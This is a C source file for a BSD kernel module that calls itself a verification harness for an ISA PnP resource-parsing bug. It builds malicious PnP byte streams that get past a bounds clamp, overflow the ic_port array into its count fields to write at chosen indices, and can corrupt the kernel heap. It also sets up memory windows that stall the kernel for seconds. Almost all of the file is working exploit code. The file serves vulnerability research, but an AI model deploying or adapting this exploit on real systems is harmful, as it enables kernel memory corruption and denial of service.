/*
 * pnphack.c — pass-2 verification harness for the ISA PnP config-count
 * poisoning chain (sys/bus/isa/isa_common.c / pnp.c / pnpparse.c).
 *
 * Loads as a driver on the isa bus.  isa_driver_added() (isa_common.c:816)
 * invokes our identify routine with the bus already attached (isa_running=1),
 * which:
 *
 *   1. child_p51: isa child claiming SB16 PnP ids (vendor 0x26008c0e,
 *      logical 0x21008c0e) + pnp_parse_resources() fed a crafted stream of
 *      17 IO_RANGE tags.  Each tag writes 1 port descriptor and
 *      pnp_check_quirks() appends 2 more (PNP_QUIRK_EXTRA_IO 0x400/0x800),
 *      so ic_nport walks 0 -> 51, skipping pnpparse.c's
 *      `ic_nport == ISA_NPORT' clamp (== 50 never true).  Stored config
 *      keeps ic_nport = 51 > ISA_NPORT: clamp defeated, poisoned config
 *      persisted by isa_add_config() with no validation.
 *
 *   2. child_p61: an 18th IO_RANGE tag writes ic_port[51], which aliases
 *      ic_nmem/ic_nport/ic_nirq/ic_ndrq (offset 944..959 of struct
 *      isa_config).  ir_end (= attacker endbase) lands in ic_nport; the
 *      following ++ and quirk appends then write ic_port[] at attacker
 *      chosen indices (POISON_V, POISON_V+1, ... + EXTRA_TAGS more).
 *      Run-A keeps all indices inside the 8640-byte configs[] allocation
 *      (safe, provable by dump).  Run-B (POISON_V=0x4000) writes ~256KB
 *      past it -> kernel heap corruption / panic.
 *
 *   3. child_stall + child_block: single 4MB MEMORY32_RANGE window fully
 *      covered by a resource held by child_block -> isa_find_memory()
 *      iterates every candidate at align=1 (unbounded candidate loop,
 *      isa_common.c:128-148) -> measurable multi-second kernel stall.
 *
 * After identify returns, isa_driver_added()'s real child loop runs
 * isa_assign_resources() on each child (the isa_common.c consumer path).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/malloc.h>
#include <sys/queue.h>
#include <sys/time.h>
#include <sys/rman.h>

#include <bus/isa/isavar.h>
#include <bus/isa/pnpvar.h>
#include <bus/isa/isa_common.h>

#ifndef POISON_V
#define POISON_V	60	/* post-clobber ic_nport becomes POISON_V+1 */
#endif
#ifndef EXTRA_TAGS
#define EXTRA_TAGS	4	/* sequential attacker writes after clobber */
#endif

#define SB16_VENDOR	0x26008c0e
#define SB16_LOGICAL	0x21008c0e

#define STALL_BASE	0xE0000000u
#define STALL_LEN	0x00400000u	/* 4MB window, align=1 -> 4M iterations */

static struct timeval t_ident;

/*
 * Crafted PnP resource byte stream.
 */
static u_char	stream[16384];
static int	stream_len;

static void
put8(u_char v)
{
	stream[stream_len++] = v;
}

static void
put16(u_int v)
{
	put8(v & 0xff);
	put8((v >> 8) & 0xff);
}

static void
put32(u_int32_t v)
{
	put8(v & 0xff);
	put8((v >> 8) & 0xff);
	put8((v >> 16) & 0xff);
	put8((v >> 24) & 0xff);
}

/* small tag 0x8 (IO_RANGE), 7 bytes: info, minbase16, rangebase16, align, size */
static void
put_io_range(u_int base, u_int endbase, u_int align, u_int size)
{
	put8(0x47);		/* (8 << 3) | 7 */
	put8(0x01);		/* 16-bit decode */
	put16(base);		/* res[1..2] -> ir_start */
	put16(endbase);		/* res[3..4] -> ir_end = endbase + size - 1 */
	put8(align);		/* res[5]     -> ir_align */
	put8(size);		/* res[6]     -> ir_size */
}

/* large tag 5 (MEMORY32_RANGE), 17 bytes */
static void
put_mem32(u_int32_t base, u_int32_t endbase, u_int32_t align, u_int32_t size)
{
	put8(0x85);		/* (1 << 7) | 5 */
	put16(17);
	put8(0);			/* res[0] info */
	put32(base);			/* res[1..4]  -> ir_start */
	put32(endbase);		/* res[5..8]  -> ir_end = endbase + size - 1 */
	put32(align);			/* res[9..12] -> ir_align */
	put32(size);			/* res[13..16]-> ir_size */
}

static void
put_end(void)
{
	put8(0x78);		/* small tag 0xf (END), len 0 */
}

static void
dump_configs(const char *tag, device_t child)
{
	struct isa_device *idev = device_get_ivars(child);
	struct isa_config_entry *ice;
	int n = 0;

	TAILQ_FOREACH(ice, &idev->id_configs, ice_link) {
		kprintf("PNPHACK[%s]: ice[%d] prio=%d nmem=%d nport=%d "
		    "nirq=%d ndrq=%d\n", tag, n, ice->ice_priority,
		    ice->ice_config.ic_nmem, ice->ice_config.ic_nport,
		    ice->ice_config.ic_nirq, ice->ice_config.ic_ndrq);
		if (n == 0) {
			struct isa_config *c = &ice->ice_config;
			int i;

			for (i = 47; i < 64 && i < c->ic_nport + 4; i++)
				kprintf("PNPHACK[%s]:   ic_port[%d] "
				    "start=%#x end=%#x size=%#x align=%#x\n",
				    tag, i, c->ic_port[i].ir_start,
				    c->ic_port[i].ir_end, c->ic_port[i].ir_size,
				    c->ic_port[i].ir_align);
			kprintf("PNPHACK[%s]:   ISA_NPORT=%d ISA_NMEM=%d "
			    "(ic_port[51] aliases the count fields)\n",
			    tag, ISA_NPORT, ISA_NMEM);
		}
		n++;
	}
	if (n == 0)
		kprintf("PNPHACK[%s]: no configs stored\n", tag);
}

static void
pnphack_config_cb(void *arg, struct isa_config *config, int enable)
{
	struct timeval tv;

	getmicrotime(&tv);
	kprintf("PNPHACK: config_cb(%s) enable=%d nmem=%d nport=%d nirq=%d "
	    "ndrq=%d t=%ld.%06ld (+%lld usec since identify)\n",
	    (const char *)arg, enable, config->ic_nmem, config->ic_nport,
	    config->ic_nirq, config->ic_ndrq,
	    (long)tv.tv_sec, (long)tv.tv_usec,
	    (long long)(1000000LL * (tv.tv_sec - t_ident.tv_sec) +
	    (tv.tv_usec - t_ident.tv_usec)));
}

static void
add_pnp_child(device_t parent, const char *tag, int variant)
{
	device_t child;
	int i;

	child = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1);
	if (child == NULL) {
		kprintf("PNPHACK[%s]: BUS_ADD_CHILD failed\n", tag);
		return;
	}
	BUS_WRITE_IVAR(parent, child, ISA_IVAR_VENDORID, SB16_VENDOR);
	BUS_WRITE_IVAR(parent, child, ISA_IVAR_LOGICALID, SB16_LOGICAL);
	ISA_SET_CONFIG_CALLBACK(parent, child, pnphack_config_cb, __DECONST(char *, tag));

	stream_len = 0;
	/*
	 * 17 IO_RANGE tags: ic_nport 0 -> 51 (1 + 2 quirk appends each),
	 * index 50 == ISA_NPORT never observed by the `==' clamp.
	 */
	for (i = 0; i < 17; i++)
		put_io_range(0x200, 0x200, 1, 8);

	if (variant >= 1) {
		/*
		 * 18th tag writes ic_port[51]: ir_start -> ic_nmem,
		 * ir_end (= endbase) -> ic_nport, then ir_size/ir_align are
		 * written through the *clobbered* ic_nport at ic_port[POISON_V],
		 * and the quirk appends write ic_port[POISON_V+1/+2].
		 */
		put_io_range(0x300, POISON_V, 1, 1);
		for (i = 0; i < EXTRA_TAGS; i++)
			put_io_range(0x220 + i * 0x10, 0x220 + i * 0x10, 1, 8);
	}
	put_end();

	kprintf("PNPHACK[%s]: crafted stream %d bytes, parsing "
	    "(POISON_V=%#x EXTRA_TAGS=%d)...\n", tag, stream_len, POISON_V,
	    EXTRA_TAGS);
	pnp_parse_resources(child, stream, stream_len, 0);
	kprintf("PNPHACK[%s]: parse done\n", tag);
	dump_configs(tag, child);
}

static void
add_stall_children(device_t parent)
{
	device_t stall, block;
	struct resource *r;
	int rid;

	stall = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1);
	if (stall == NULL) {
		kprintf("PNPHACK[stall]: BUS_ADD_CHILD failed\n");
		return;
	}
	ISA_SET_CONFIG_CALLBACK(parent, stall, pnphack_config_cb, __DECONST(char *, "stall"));

	stream_len = 0;
	/* one 4MB memory window, size=1, align=1 */
	put_mem32(STALL_BASE, STALL_BASE + STALL_LEN - 1, 1, 1);
	put_end();
	pnp_parse_resources(stall, stream, stream_len, 0);
	dump_configs("stall", stall);

	/* blocker child created LAST: holds the whole window claimed */
	block = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1);
	if (block == NULL) {
		kprintf("PNPHACK[block]: BUS_ADD_CHILD failed\n");
		return;
	}
	rid = 0;
	BUS_SET_RESOURCE(parent, block, SYS_RES_MEMORY, 0, STALL_BASE,
	    STALL_LEN, -1);
	r = BUS_ALLOC_RESOURCE(parent, block, SYS_RES_MEMORY, &rid, 0, ~0, 1,
	    0 /* !RF_ACTIVE */, -1);
	kprintf("PNPHACK[block]: window [%#x-%#x] held: %s\n", STALL_BASE,
	    STALL_BASE + STALL_LEN - 1, r ? "YES" : "NO");
}

static void
pnphack_identify(driver_t *driver, device_t parent)
{
	if (device_get_unit(parent) != 0)
		return;
	getmicrotime(&t_ident);
	kprintf("PNPHACK: identify on %s%d (state=%d)\n",
	    device_get_name(parent), device_get_unit(parent),
	    device_get_state(parent));

	add_pnp_child(parent, "p51", 0);	/* == clamp defeated, nport=51 */
	add_pnp_child(parent, "p61", 1);	/* count fields clobbered    */
	add_stall_children(parent);

	kprintf("PNPHACK: identify done; isa_driver_added will now run "
	    "isa_assign_resources() on the children\n");
}

static int
pnphack_probe(device_t dev)
{
	kprintf("PNPHACK: probe\n");
	return ENXIO;
}

static device_method_t pnphack_methods[] = {
	DEVMETHOD(device_identify,	pnphack_identify),
	DEVMETHOD(device_probe,		pnphack_probe),
	DEVMETHOD_END
};

static driver_t pnphack_driver = {
	"pnphack",
	pnphack_methods,
	1,			/* no softc */
};

static devclass_t pnphack_devclass;

DRIVER_MODULE(pnphack, isa, pnphack_driver, pnphack_devclass, NULL, NULL);
